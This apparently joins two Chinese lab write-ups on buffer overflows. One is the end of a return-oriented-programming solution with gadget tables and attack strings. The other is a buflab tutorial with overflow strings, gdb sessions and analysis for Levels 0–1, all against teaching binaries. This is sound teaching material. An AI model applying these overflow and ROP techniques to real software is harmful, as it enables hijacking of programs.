      401ab5:   8d 87 `48 89 e0 90`     lea    -0x6f1f76b8(%rdi),%eax       mov  %rsp,%rax    
      401abb:   `c3`                    retq   
    
    0000000000401abc <addval_285>:
      401abc:   8d 87 ce 89 d1 c2       lea    -0x3d2e7632(%rdi),%eax
      401ac2:   c3                      retq   
    
    0000000000401ac3 <getval_212>:
      401ac3:   b8 81 c2 90 90          mov    $0x9090c281,%eax
      401ac8:   c3                      retq   
    
    0000000000401ac9 <getval_112>:
      401ac9:   b8 `89 ce 08 c0`        mov    $0xc008ce89,%eax             movl  %ecx,%esi    
      401ace:   `c3`                    retq   
    
    0000000000401acf <getval_191>:
      401acf:   b8 f7 48 88 e0          mov    $0xe08848f7,%eax
      401ad4:   c3                      retq   
    
    0000000000401ad5 <getval_309>:
      401ad5:   b8 48 89 e0 c7          mov    $0xc7e08948,%eax
      401ada:   c3                      retq   
    
    0000000000401adb <addval_111>:
      401adb:   8d 87 48 89 e0 c1       lea    -0x3e1f76b8(%rdi),%eax
      401ae1:   c3                      retq   
    
    0000000000401ae2 <addval_133>:
      401ae2:   8d 87 89 c2 94 db       lea    -0x246b3d77(%rdi),%eax
      401ae8:   c3                      retq   
    
    0000000000401ae9 <getval_260>:
      401ae9:   b8 89 ce c7 93          mov    $0x93c7ce89,%eax
      401aee:   c3                      retq   
    
    0000000000401aef <setval_454>:
      401aef:   c7 07 89 ce 90 c3       movl   $0xc390ce89,(%rdi)
      401af5:   c3                      retq   
    
    0000000000401af6 <setval_496>:
      401af6:   c7 07 08 89 e0 c3       movl   $0xc3e08908,(%rdi)
      401afc:   c3                      retq   
    
    0000000000401afd <addval_330>:
      401afd:   8d 87 70 89 ce 91       lea    -0x6e317690(%rdi),%eax
      401b03:   c3                      retq   
    
    0000000000401b04 <setval_437>:
      401b04:   c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)            
      401b0a:   c3                      retq   
    
    0000000000401b0b <getval_472>:
      401b0b:   b8 8d c2 90 c3          mov    $0xc390c28d,%eax
      401b10:   c3                      retq   
    
    0000000000401b11 <addval_245>:
      401b11:   8d 87 `89 d1 08 db`     lea    -0x24f72e77(%rdi),%eax        movl  %edx,%ecx   
      401b17:   `c3`                    retq   
    
    0000000000401b18 <addval_127>:
      401b18:   8d 87 89 d1 94 90       lea    -0x6f6b2e77(%rdi),%eax
      401b1e:   c3                      retq   
    
    0000000000401b1f <setval_478>:
      401b1f:   c7 07 89 d1 c4 d2       movl   $0xd2c4d189,(%rdi)
      401b25:   c3                      retq   
    
    0000000000401b26 <end_farm>:
      401b26:   b8 01 00 00 00          mov    $0x1,%eax
      401b2b:   c3                      retq   
      401b2c:   0f 1f 40 00             nopl   0x0(%rax)
    
    • gadget farm中的所有满足条件的gadget

      起始地址 ——— 指令编号 ———- 指令
      0x401a2d58 (90 90) c3popq %rax
      0x401a4148 89 c7 c3mov %rax,%rdi
      0x401a4c48 8d 04 37 c3lea (%rdi,%rsi,1),%rax
      0x401a5389 c2 (38 c0) c3movl %eax,%edx
      0x401aa989 d1 (20 c9) c3movl %edx,%ecx
      0x401ab089 c2 (20 d2) c3movl %eax,%edx
      0x401ab748 89 e0 (90) c3mov %rsp,%rax
      0x401aca89 ce (08 c0) c3movl %ecx,%esi
      0x401b1389 d1 (08 db) c3movl %edx,%ecx
      括号内的指令编码为nop或2字节指令,并不影响。

    -Level 4

    Tips:

    1. 只能使用movqpopqretnopgadget
    2. 只能使用前八个x86-64寄存器。
    3. 只能用两个gadget实现此次攻击。
    4. 如果一个gadget使用了popq指令,那么它会从栈中弹出数据。这样一来,攻击代码能既包含gadget的地址也包含数据。

    和Level 2思路一致,我们需要将将寄存器%rdi的值设置为cookie
    在上面找到的满足条件的gadget中可以凑出能够实现攻击的指令。
    先将寄存器%rax的值设置为cookie,然后复制给%rdi

    popq     %rax
    ret                  
    mov      %rax,%rdi
    ret

    于是攻击字符串就出来了:

    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    //以上(任意字节除0x0a)填充满整个缓冲区(56字节)以致溢出。
    2d 1a 40 00 00 00 00 00 
    //用gadget1的起始地址覆盖掉原先的返回地址。
    00 16 fb 73 00 00 00 00     //cookie
    41 1a 40 00 00 00 00 00     //gadget2的起始地址
    67 18 40 00 00 00 00 00     //touch2 的起始地址

    然后期待结果:
    Level 4

    -Level 5

    Tips:

    1. 允许使用函数start_farmend_farm之间的所有gadget
    2. 可以使用movqpopqretnopmovl指令,以及2字节指令。
    3. 只能使用前八个x86-64寄存器。
    4. 至少需要8个gadget实现此次攻击。

    和Level 3思路一致,将寄存器%rdi的值设置为cookie字符串的指针即存储cookie字符串的地址。

    在上面找到的满足条件的gadget中可以凑出能够实现攻击的指令。
    先把%rsp存储的栈顶指针值复制给%rdi, 再将%eax的值设置为cookie字符串地址在栈中的偏移量并复制给%esi,最后将二者相加即为cookie字符串的存储地址。

    mov   %rsp,%rax
    ret
    mov   %rax,%rdi
    ret
    popq  %rax         
    ret                 
    movl  %eax,%edx
    ret
    movl  %edx,%ecx
    ret
    movl  %ecx,%esi
    ret
    lea   (%rdi,%rsi,1),%rax
    ret
    mov   %rax,%rdi
    ret

    当指令指到ret指令行时,说明一个函数已经结束了,这时候%rsp已经从被调用函数的栈指到了调用函数构建的返回地址位置。
    所以当执行第一条指令时,%rsp指向当前栈顶即存储下一条指令的地址,而后面的指令执行完后最终不会使该%rsp值改变。
    在第一条指令之后即从第二条指令开始,cookie字符串之前还有有9条指令,共占有72个字节即0x48字节,此即cookie字符串的地址在栈中的偏移量。

    于是攻击字符串长成这样:

    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    //以上(任意字节除0x0a)填充满整个缓冲区(56字节)以致溢出。
    b7 1a 40 00 00 00 00 00 
    //用gadget1的起始地址覆盖掉原先的返回地址。
    41 1a 40 00 00 00 00 00  //gadget2的起始地址。
    2d 1a 40 00 00 00 00 00  //gadget3的起始地址。
    48 00 00 00 00 00 00 00  //cookie字符串地址在栈中的偏移量。
    53 1a 40 00 00 00 00 00  //gadget4的起始地址。
    a9 1a 40 00 00 00 00 00  //gadget5的起始地址。
    ca 1a 40 00 00 00 00 00  //gadget6的起始地址。
    4c 1a 40 00 00 00 00 00  //gadget7的起始地址。
    41 1a 40 00 00 00 00 00  //gadget8的起始地址。
    75 19 40 00 00 00 00 00  //touch3 的起始地址。
    37 33 66 62 31 36 30 30  //cookie字符串的字节表示。

    最后的结果:
    Level 5

    展开全文
  • 缓冲区溢出攻击实验实验介绍实验任务实验数据目标程序 bufbomb 说明ufbomb 程序接受下列命令行参数目标程序bufbomb中函数之间的调用关系缓冲区溢出理解目标程序调用的**getbuf**函数:过程调用的机器级表示test函数...

    实验介绍

    此次实验的目的在于加深对 IA-32 过程调用规则和栈结构的具体理解。实验的主要内容是对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击(buffer overflow attacks),也就是设法通过造成缓冲区溢出来改变该程序的运行内存映像(例如将专门设计的字节序列插 入到栈中特定内存位置)和行为,以实现实验预定的目标。

    实验任务

    实验中需要针对目标可执行程序 bufbomb,分别完成多个难度递增的缓冲区溢出攻击。

    6个难度逐级递增的实验级别:

    • Level 0: smoke (使目标程序调用smoke函数)
    • Level 1: fizz (使目标程序使用特定参数调用fizz函数)
    • Level 2: bang (使目标程序调用bang函数修改全局变量)
    • Level 3: rumble (使目标程序调用rumble函数传递调用参数)
    • Level 4: boom (包含栈帧修复的无感攻击,并传递有效返回值)
    • Level 5: kaboom (实现栈帧地址随机变化下的有效攻击)

    每级实验需根据任务目标,设计、构造1个攻击字符串, 对目标程序实施缓冲区溢出攻击,完成相应目标

    实验数据

    在本实验中,首先你需要从下列链接下载包含本实验相关文件的一个 tar 文件:

    http://cs.nju.edu.cn/sufeng/course/mooc/0809NJU064_buflab.tar

    可在 Linux 实验环境中使用命令“tar xvf 0809NJU064_buflab.tar”将其中包含的文件 提取到当前目录中。该 tar 文件中包含如下实验所需文件:

    • bufbomb: 实验需要攻击的目标 buffer bomb 程序。
    • makecookie: 该程序基于命令行参数给出的 ID,产生一个唯一的由 8 个 16 进制数字组成的字节序列(例如 0x1005b2b7),称为“cookie”,用作实验中可能需要置入栈中的数据之一。
    • hex2raw: 字符串格式转换程序。

    目标程序 bufbomb 说明

    bufbomb 程序接受下列命令行参数
    • -u userid: 以给定的用户ID“userid”运行程序。在每次运行程序时均应指定该参数,因为 bufbomb 程序将基于该 ID 决 定你应该使用的 cookie 值(与 makecookie 程序的输出相同),而 bufbomb 程序 运行时的一些关键栈地址取决于该 cookie 值。
    • -h: 打印可用命令行参数列表
    • -n: 以“Nitro”模式运行,用于 kaboom 实验阶段
    目标程序bufbomb中函数之间的调用关系


    如图所示,bufbombmain函数调用了launcher函数,launcher函数调用了launch函数,launch函数进一步调用了test函数,而test函数又调用了getbuf函数。在实验中目标程序被攻击的地方,实际上位于getbuf函数中,可以看到test函数还有一个名为testn的版本,同样getbuf函数也有一个getbufn的版本。

    testn、getbufn仅在Nitro模式(Level 4 :kaboom)中被调用,其它级别均调用 test、getbuf函数,最后一个实验级别kaboom中,launch,testn,getbufn函数会被反复调用多次(默认为5次),以测试所实现攻击的鲁棒性,只有当连续5次攻击都成功时,才认为完成了最后的实验级别。

    缓冲区溢出理解

    作为被目标攻击的目标程序,bufbomb程序中容易被实施缓冲区溢出攻击的弱点,实际上位于前面所示函数调用层次最下层的那个getbuf函数中。

    目标程序调用的getbuf函数:
    /* Buffer size for getbuf */
    int getbuf()
    {
       other variables ...;
       char buf[NORMAL_BUFFER_SIZE];
       Gets(buf);
       return 1;
    }
    

    在这个getbuf函数中首先定义了一个长度固定为NORMAL_BUFFER_SIZE的字符数组,然后调用Gets函数向数组中写入字符串。其中,过程 Gets 类似于标准库过程 gets,它从标准输入读入一个字符串(以换行‘\n’或 文件结束 end-of-file 字符结尾),并将字符串(以 null 空字符结尾)存入指定的目标内存位 置。在 getbuf 过程代码中,目标内存位置是具有 NORMAL_BUFFER_SIZE 个字节存储空间的 数组 buf,而 NORMAL_BUFFER_SIZE 是大于等于 32 的一个常数。

    过程 **Gets()**并不判断 buf 数组是否足够大而只是简单地向目标地址复制全部输入 字符串,因此有可能超出预先分配的存储空间边界,即缓冲区溢出。如果用户输入给 getbuf() 的字符串不超过(NORMAL_BUFFER_SIZE-1)个字符长度的话,很明显 **getbuf()**将正常返回 1。

    如下列运行所示:

    但是,如果输入一个更长的字符串,则可能会发生类似下列的错误:

    过程调用的机器级表示

    为了理解缓冲区溢出攻击的原理,以过程调用的基于栈桢的机器级实现机制来进一步理解。

    栈桢:当前执行过程在内存中对应的一个区域,其中保存了当前局部变量和调用现场等重要的状态信息,每个过程在执行时都对应自己的栈桢区域。

    如图中所示,当一个过程调用另外一个过程时,被调用过程会生成一个自己的栈桢。在IA32 Linux平台上,它位于比调用过程的栈桢更低的内存地址上。在一个过程的栈桢中,一开始保存的是由该过程保存的寄存器的原始内容,其中取决于过程的具体实现指令,通常最先保存的是栈桢基址寄存器EBP在调用过程中的原始值,又称为旧值。而EBP寄存器的当前值就是指向栈桢中该旧值的存储位置,它标示了当前过程的栈桢的起始位置,在栈桢其后的存储位置中保存了本过程定义和使用的非静态的局部变量。其中前面介绍的getbuf函数中的buf字符数组就是位于此处,可见Gets函数向buf的数组的写入操作如果超出了数组的边界,会改写和破坏栈中其它重要的信息。包括上面所述的局部变量和寄存器的旧值。

    具体来讲,随着字符串数据自buf数组的起始位置开始不断的被写入,数据将逐步填充buf数组的存储空间,当写入操作超出了buf数组的边界以后,将进一步依次覆盖,改写保存的寄存器的值。接下来的写入操作将超出当前过程的栈桢的边界,进入到调用过程的栈桢,并首先改写其中保存的一个重要信息——返回地址,该返回地址是当前过程执行结束后,控制返回调用过程时将被执行的指令的地址,一旦缓冲区写入溢出过程中被改写为不正确的值或者指向恶意的指令代码,将使程序的执行逻辑在当前过程结束后发生错误,或者转去执行恶意代码。这就是缓冲区溢出攻击得以实现的基本原理,即超出栈桢中数组缓冲区的存储边界,向栈桢中写入任意数据,从而破坏栈桢的结构

    test函数调用getbuf函数
    void test()
    {
    	int val;
    	/* Put canary on stack to detect possible corruption */ 
    	volatile int local = uniqueval();
    	
    	val = getbuf();
    	
    	/*Checkforcorruptedstack*/ 
    	if (local != uniqueval()) {
    		printf("Sabotaged!: the stack has been corrupted\n"); 
    	}
    	else if (val == cookie) {
    		printf("Boom!: getbuf returned 0x%x\n", val); validate(3);
    	} 
    	else {
    		printf("Dud: getbuf returned 0x%x\n", val);
    	} 
    }
    

    被攻击的包含缓冲区写入逻辑的getbuf函数在程序中被test函数所调用后序正常情况下应该从test函数中

    getbuf调用后的第一条语句开始继续执行,这是程序的正常行为,因为test函数栈帧最后保存的返回地址单元中保存的值,在正常情况下,是指向 test函数中调用getbuf函数的call指令后 的第一条指令的地址。然而本实验各阶段的目的是改变该行为。

    工具程序 hex2raw 说明

    由于攻击字符串(exploit string)可能包含不属于 ASCII 可打印字符集合的字节取值, 因而无法直接编辑输入。为此,实验提供了工具程序 hex2raw 帮助构造这样的字符串。该程序从标准输入接收一个采用十六进制格式编码的字符串(其中使用两个十六进制数字对攻击字符串中每一字节的值进行编码表示,不同目标字节的编码之间用空格或换行等空白字符分 隔),进一步将输入的每对编码数字转为二进制数表示的单个目标字节并逐一送往标准输出。

    注意,为方便理解攻击字符串的组成和内容,可以用换行分隔攻击字符串的编码表示中 的不同部分,这并不会影响字符串的解释和转换。hex2raw 程序还支持 C 语言风格的块注释 以便为攻击字符串添加注释,增加了转换前攻击字符串的可读性(如下例),这同样不影响字符串的解释与使用。

    bf 66 7b 32 78 / mov $0x78327b66,%edi */*

    攻击字符串示例

    注意务必要在开始与结束注释字符串(“/”和“/”)前后保留空白字符,以便注释部分被 程序正确忽略。

    另外,注意:

    • 攻击字符串中不能包含值为 0x0A 的字节,因为该字符对应换行符‘\n’,当 Gets过程遇到该字符时将认为该位置为字符串的结束,从而忽略其后的字符串内容。

    • 由于 hex2raw 期望字节由两个十六进制格式的数字表示,因此如果想构造一个值为 0 的字节,应指定 00 进一步,可将上述十六进制数字对序列形式的攻击字符串(例如“68 ef cd ab 00 83 c0 11 98 ba dc fe”)保存于一文本文件中,用于测试等。

      以下是一个攻击字符串的示例:

    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00
    /* begin of buffer */
    20 35 68 55      /* new %ebp */
    b7 34 68 55       /* new address */
    

    辅助程序makecookie

    如前所述,本实验部分阶段的正确解答基于从 bufbomb 命令行选项 userid计算生成的 cookie 值。一个 cookie 是由 8 个 16 进制数 字组成的一个字节序列(例如 0x1005b2b7),对每一个 userid 是唯一的。可以如下使用 makecookie 程序生成对应特定 userid 的 cookie,即将 userid 作为 makecookie 程序的唯一 参数。


    0x420e0c1b 即为 0809NJU064 对应的 cookie 值。

    测试攻击字符串

    可将攻击字符串保存在一文件 solution.txt 中,使用如下命令(将参数[userid]替换为自己想要改成的Id )测试攻击字符串在 bufbomb 上的运行结果,并与相应难度级的期望输出对比,以验证相应实验阶段通过与否。

     linux>cat solution.txt | ./hex2raw | ./bufbomb -u [userid]
    

    上述命令使用一系列管道操作符将程序 hex2raw 从编码字符串转换得到的目标攻击字节序 列输入 bufbomb 程序中进行测试。

    除上述方式以外,还可以如下将攻击字符串的二进制字节序列存于一个文件中,并使用 I/O 重定向将其输入给 bufbomb:

     linux>./hex2raw < solution.txt > solution-raw.txt
     linux>./bufbomb -u [userid] < solution-raw.txt
    

    该方法也可用于在 GDB 中运行 bufbomb 的情况:

    linux>gdb bufbomb
     (gdb) run -u [userid] < solution-raw.txt
    

    当你设计的攻击字符串成功完成了预定的缓冲区溢出攻击目标,例如实验 Level 0 (smoke),程序将输出类似如下的信息,提示你的攻击字符串(此例中保存于文件 smoke.txt 中)设计正确:

     ./hex2raw < smoke.txt | ./bufbomb -u 0809NJU064
    Userid: 0809NJU064
    Cookie: 0x420e0c1b
    Type string:Smoke!: You called smoke()
    VALID
    NICE JOB!
    

    实验基本步骤

    本实验各个级别的求解过程,都包括类似的如下三个主要步骤。

    1. 反汇编二进制目标程序bufbomb,获得其汇编指令代码

    2. 从汇编指令中分析获得getbuf函数执行时的栈 帧结构,定位buf数组缓冲区在栈帧中的位置

    3. 根据栈帧中需要改变的目标信息及其与缓冲区 的相对位置,设计攻击字符串

    各个实验的不同级别的主要差别就在地三步,也就是说在不同级别里面需要改变的目标信息各不相同,因此,在在设计攻击字符串的时候,会有不同攻击字符串的设计解答。

    实验Level 0: smoke

    实验目的:

    构造攻击字符串,使得bufbomb目标程序在 getbuf函数执行return语句后,不是返回到test函数继续 执行,而是转而执行bufbomb程序中的smoke函数:

    void smoke() {
    
     printf("Smoke!: You called smoke()\n"); validate(0);
     exit(0);
    
    }
    

    思路分析

    利用objdump反汇编bufbomb执行文件,并将反汇编结果保存到bufbomb.txt文件中方便查看。

    objdump -d bufbomb>bufbomb.txt
    

    其中getbuf的汇编代码:

    08049c5a <getbuf>:
     8049c5a:    55           push  %ebp
     8049c5b:    89 e5          mov  %esp,%ebp
     8049c5d:    83 ec 48        sub  $0x48,%esp
     8049c60:    83 ec 0c        sub  $0xc,%esp
     8049c63:    8d 45 c7        lea  -0x39(%ebp),%eax
     8049c66:    50           push  %eax
     8049c67:    e8 b9 fa ff ff     call  8049725 <Gets>
     8049c6c:    83 c4 10        add  $0x10,%esp
     8049c6f:    b8 01 00 00 00     mov  $0x1,%eax
     8049c74:    c9           leave
     8049c75:    c3           ret
    

    如汇编指令所示,getbuf函数在调用Gets函数时,将缓冲区数组的起始地址作为参数压入栈中,并传递给Gets函数,从汇编指令可以看出,buf缓冲区开始于栈桢中地址EBP-0x39处,该参数的值即缓冲区的起始地址。是EBP寄存器的值减去0x39换成十进制就是57,基于以上分析和getbuf函数的汇编代码,我们可以画出如下图所示的getbuf函数的栈桢结构,以及其调用函数test的栈桢的底部区域结构:

    在内存高地址上是test函数的栈桢,其底部保存的是返回地址,即其所调用的getbuf函数结束后将跳转到并继续执行的指令地址,在正常情况下这个地址是test函数中调用getbuf函数后的下一条指令的地址,在返回地址下面是ge tbuf函数栈桢的开始部分,保存了EBP寄存器在test函数中执行的旧值,getbuf栈桢中再往下就是buf数组缓冲区的存储空间。为了实施攻击我们需要获得该缓冲区确切的起始地址,如上面的getbuf汇编指令所示,getbuf函数在调用Gets函数时将缓冲区数组的起始地址作为参数压入栈中,并传递给了Gets函数,进一步我们可以从汇编指令看到,该参数的值就是缓冲区的起始地址,是EBP寄存器的值减去Ox39。

    另一方面,getbuf函数结束后,即执行最后的ret语句时, 将取出保存于test函数栈桢中的返回地址并跳转至它继续执行,如果我们把该返回地址的值改为本级别实验的目标——smoke函数饿首条指令的地址,则getbuf函数返回时,就会转到smoke函数执行,即达到了实验的目标。

    由栈桢结构可以看出,返回地址在栈桢中的地址是EBP寄存器的值加4,因此该返回地址的保存地址与缓冲区的起始地址之间相差:0x39+4 = 61个字节,也就是说如果向缓冲区写入66个字节后,再写入4个字节,将改写返回地址的值。

    Level 0求解思路

    将攻击字符串中自第67个字节开始的4个字节设置为实验的目标跳转地址,即smoke函数首条指令的地址,我们搜索bufbomb目标程序的反汇编代码可以发现smoke函数的首条指令的地址是0x080493e8,因此我们可以如下构造字符串:

    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 77 88 99 
    00 11 22 33 44 55 66 /* end of buffer */
    00 11 22 33 /* saved %ebp */
    e8 93 04 08 /* smoke() address */
    

    前57个字节用于填充缓冲区,与实验目标无关,因此可以随意设置,接着的4个字节改写了栈桢中所保存EBP寄存器的旧值,也与实验目标无关同样可以随意设置,再接下来的四个字节将用于改写栈桢中所保存的返回地址,因此我们把它们设置为smoke函数首条指令的地址,按照iA-32平台的小端顺序方式,这四个字节依次是 e8 93 04 08 ,这样当攻击字符串被Gets函数写入缓冲区后,栈桢中保存的返回地址将被修改为指向smoke函数。这样,当getbuf函数结束后,将跳转到函数smoke执行,从而实现了实验目标。

    GDB调试观察求解过程

    在smoke.txt文件中我们写入了以上构造的攻击字符串,首先使用hex2raw程序把它转化为实际的攻击字符串,并把它保存在smoke-raw.txt文件中。

    ./hex2raw < smoke.txt > smoke-raw.txt
    

    利用gdb命令启动并调试bufbomb程序

    gdb bufbomb 
    

    由bufbomb程序的汇编指令可以看出,我们需要观察getbuf函数调用Gets函数前和后栈桢中的内容是否发生了变化,因此我们会在调用Gets函数的call指令之前设置一个断点,在其后在设置一个断点,以方便我们来观察getbuf函数在这两个断点处它的栈桢和它的调用函数的栈桢也就是test函数的栈桢是否有发生变化。

    在Gets函数调用之前和设置断点,两个断点的地址分别是0x8049c660x8049c6c

    (gdb) b *0x8049c66
    Breakpoint 1 at 0x8049c66
    (gdb) b *0x8049c6c
    Breakpoint 2 at 0x8049c6c
    (gdb)
    

    启动目标程序运行,指定命令行选项-u后跟用户ID,并把我们保存的攻击字符串文件smoke-raw.txt通过重定向操作符输入到目标程序中。

    (gdb) r -u 631807060623 < smoke-raw.txt
    Starting program: /home/xjh/Desktop/buf/bufbomb -u 631807060623 < smoke-raw.txt
    Userid: 631807060623
    Cookie: 0x6822364a
    
    Breakpoint 1, 0x08049c66 in getbuf ()
    

    运行完后,程序中断在我们的第一个断点处,也就是停在了gebuf函数中调用Gets函数之前的下条指令地址。查看EBP寄存器——给出了getbuf函数栈桢的起始地址的寄存器内容。

    (gdb) print $ebp
    $1 = (void *) 0x556833c0 <_reserved+1037248>
    

    在gebuf函数之上是test函数的栈桢,在test函数栈桢的最后存放的是一个返回地址,这个返回地址应该是在test函数调用getbuf函数的call指令之后的那条指令的地址,由test函数的汇编代码可以知道,调用gebuf函数的call指令的地址是0x804959b,在执行这条call指令的时候,一是把call指令的下条指令也就是mov指令的地址 80495a8压入栈中作为返回地址,因此bufbomb程序正常执行时,test函数调用gebuf函数时,正确的返回地址是0x80495a0

    0804958d <test>:
     804958d:       55                      push   %ebp
     804958e:       89 e5                   mov    %esp,%ebp
     8049590:       83 ec 18                sub    $0x18,%esp
     8049593:       e8 4c 04 00 00          call   80499e4 <uniqueval>
     8049598:       89 45 f0                mov    %eax,-0x10(%ebp)
     804959b:       e8 ba 06 00 00          call   8049c5a <getbuf>
     80495a0:       89 45 f4                mov    %eax,-0xc(%ebp)
     80495a3:       e8 3c 04 00 00          call   80499e4 <uniqueval>
     80495a8:       89 c2                   mov    %eax,%edx
     80495aa:       8b 45 f0                mov    -0x10(%ebp),%eax
     80495ad:       39 c2                   cmp    %eax,%edx
     80495af:       74 12                   je     80495c3 <test+0x36>
     80495b1:       83 ec 0c                sub    $0xc,%esp
     80495b4:       68 34 b1 04 08          push   $0x804b134
     80495b9:       e8 62 fb ff ff          call   8049120 <puts@plt>
     80495be:       83 c4 10                add    $0x10,%esp
     80495c1:       eb 41                   jmp    8049604 <test+0x77>
     80495c3:       8b 55 f4                mov    -0xc(%ebp),%edx
     80495c6:       a1 00 d3 04 08          mov    0x804d300,%eax
     80495cb:       39 c2                   cmp    %eax,%edx
     80495cd:       75 22                   jne    80495f1 <test+0x64>
     80495cf:       83 ec 08                sub    $0x8,%esp
     80495d2:       ff 75 f4                pushl  -0xc(%ebp)
     80495d5:       68 5d b1 04 08          push   $0x804b15d
     80495da:       e8 81 fa ff ff          call   8049060 <printf@plt>
     80495df:       83 c4 10                add    $0x10,%esp
     80495e2:       83 ec 0c                sub    $0xc,%esp
     80495e5:       6a 04                   push   $0x4
     80495e7:       e8 eb 07 00 00          call   8049dd7 <validate>
     80495ec:       83 c4 10                add    $0x10,%esp
     80495ef:       eb 13                   jmp    8049604 <test+0x77>
     80495f1:       83 ec 08                sub    $0x8,%esp
     80495f4:       ff 75 f4                pushl  -0xc(%ebp)
     80495f7:       68 7a b1 04 08          push   $0x804b17a
     80495fc:       e8 5f fa ff ff          call   8049060 <printf@plt>
     8049601:       83 c4 10                add    $0x10,%esp
     8049604:       90                      nop
     8049605:       c9                      leave
     8049606:       c3                      ret
    

    在gebuf函数之上是test函数的栈桢,也就是test函数的栈桢的最后一项是返回地址,其中返回地址的存储地址应该是EBP寄存器的值加上4,查看EBP寄存器加上4存放的返回地址。

    (gdb) x/xw 0x556833c4
    0x556833c4 <_reserved+1037252>:	0x080495a
    

    可以看到它就是我们前面反汇编结果中看到的调用getbuf函数的call指令的下条指令的地址,这就验证上面所分析的结果。

    使用c命令继续运行,程序中断在了第二个断点处,也就是停在了gebuf函数中调用Gets函数之后的下条指令地址。

    (gdb) c
    Continuing.
    Breakpoint 2, 0x08049c6c in getbuf ()
    

    到这里,攻击字符串已经被Gets函数读入栈桢中的缓冲区,并且可能覆盖了栈桢的一些关键信息,查看返回地址的值是否发生变化。

    (gdb) x/xw 0x556833c4
    
    0x556833c4 <_reserved+1037252>:	0x080493e8
    

    可以看到返回地址的存储位置上的值已经变成了0x080493e8,这就是我们在攻击字符串中设置的指向了smoke函数的第一条指令的地址。

    继续运行目标程序。

    (gdb) c
    Continuing.
    Type string:Smoke!: You called smoke()
    VALID
    NICE JOB!
    [Inferior 1 (process 2638) exited normally]
    

    出现了一些文本,通过这些文本可以看出我们的确成功调用了smoke函数,也就是成功完成了Level 0: smoke的实验任务。

    实验Level 1: fizz

    实验目的:

    本实验级别的任务是让 bufbomb 程序在其中的 getbuf 过程执行 return 语句后转而执行 fizz 过程的代码,而不是返回到 test 过程。

    void fizz(int val)
    {
    	if (val == cookie) {
    		printf("Fizz!: You called fizz(0x%x)\n", val);
    		validate(1);
    	} 
    	else
    	  printf("Misfire: You called fizz(0x%x)\n", val); 
    	exit(0);
    }
    

    不过,与 Level 0 的 smoke 过程 不同,fizz 过程需要一个输入参数,如上列代码所示,本级别要求设法使该参数的值等于使makecookie 得到的 cookie 值。

    注意事项

    在本缓冲区溢出攻击实验中,我们并不能修改bufbomb目标程序中的任何指令和数据,包括fizz函数中的比较和条件分支指令以及cookie全局变量的值,所能改变的只是getbuf函数栈桢结构中的部分内容。

    思路分析

    fizz函数汇编指令:

    08049415 <fizz>:
     8049415:    55           push  %ebp
     8049416:    89 e5          mov  %esp,%ebp
     8049418:    83 ec 08        sub  $0x8,%esp
     804941b:    8b 55 08        mov  0x8(%ebp),%edx
     804941e:    a1 00 d3 04 08     mov  0x804d300,%eax
     8049423:    39 c2          cmp  %eax,%edx
     8049425:    75 22          jne  8049449 <fizz+0x34>
     8049427:    83 ec 08        sub  $0x8,%esp
     804942a:    ff 75 08        pushl 0x8(%ebp)
     804942d:    68 66 b0 04 08     push  $0x804b066
     8049432:    e8 29 fc ff ff     call  8049060 <printf@plt>
     8049437:    83 c4 10        add  $0x10,%esp
     804943a:    83 ec 0c        sub  $0xc,%esp
     804943d:    6a 01          push  $0x1
     804943f:    e8 93 09 00 00     call  8049dd7 <validate>
     8049444:    83 c4 10        add  $0x10,%esp
     8049447:    eb 13          jmp  804945c <fizz+0x47>
     8049449:    83 ec 08        sub  $0x8,%esp
     804944c:    ff 75 08        pushl 0x8(%ebp)
     804944f:    68 84 b0 04 08     push  $0x804b084
     8049454:    e8 07 fc ff ff     call  8049060 <printf@plt>
     8049459:    83 c4 10        add  $0x10,%esp
     804945c:    83 ec 0c        sub  $0xc,%esp
     804945f:    6a 00          push  $0x0
     8049461:    e8 ca fc ff ff     call  8049130 <exit@plt>
    

    fizz函数接受一个整形的val参数,在函数体中被用来与一个全局变量cookie进行比较。由汇编代码可以看出,其两个寄存器操作数的值分别拷贝自静态数据区,地址0x804d300,和栈中的地址0x8(%ebp),其中地址0x8(%ebp)处存放的就是fizz函数的调用参数val的值,因此0x804d300处存放的就是全局变量cookie的值,为达到实验的目标我们应设法使两个值相等。要使 0x8049423地址处的cmp比较指令能够得到相等的结果。应满足下列两个条件之一:

    • 地址0x8(%ebp)和0x804d300指向的存储器内容相同
    • 两个地址0x8(%ebp)和0x804b150自身相同

    地址0x8(%ebp)实际上就是EBP寄存器的值加上8,要它等于已知的目标数值0x804d300相等,实际上就是想要EBP寄存器的值等于 :0x804d300 -0x8 ,也就是等于0x804d2f8

    因为在本实验并不能修改bufbomb目标程序中的任何指令和数据,因此不可以通过增加指令的方法来直接设置EBP寄存器的值,但是可以发现getbuf函数最后由一条leave指令,这条指令将从栈中弹出函数开始阶段保存的EBP旧值并保存到EBP寄存器中。另一方面栈桢中缓冲区起始地址以上的存储单元的值包括保存了EBP旧值的存储单元,都可以通过缓冲区的溢出,用攻击字符串的内容进行改写,这样就提供了一种间接修改EBP寄存器中值的方法。

    Level 1求解思路

    1. 在攻击字符串中对应EBP旧值的保存位置处,放上前面分析得出的EBP修改的目标值,以使getbuf函数结束前的leave指令将其设置到EBP寄存器中。
    2. 在攻击字符串中对应返回地址的位置处,放上fizz函数中合适指令的地址,以使getbuf函数结束后跳转到该地址处执行。

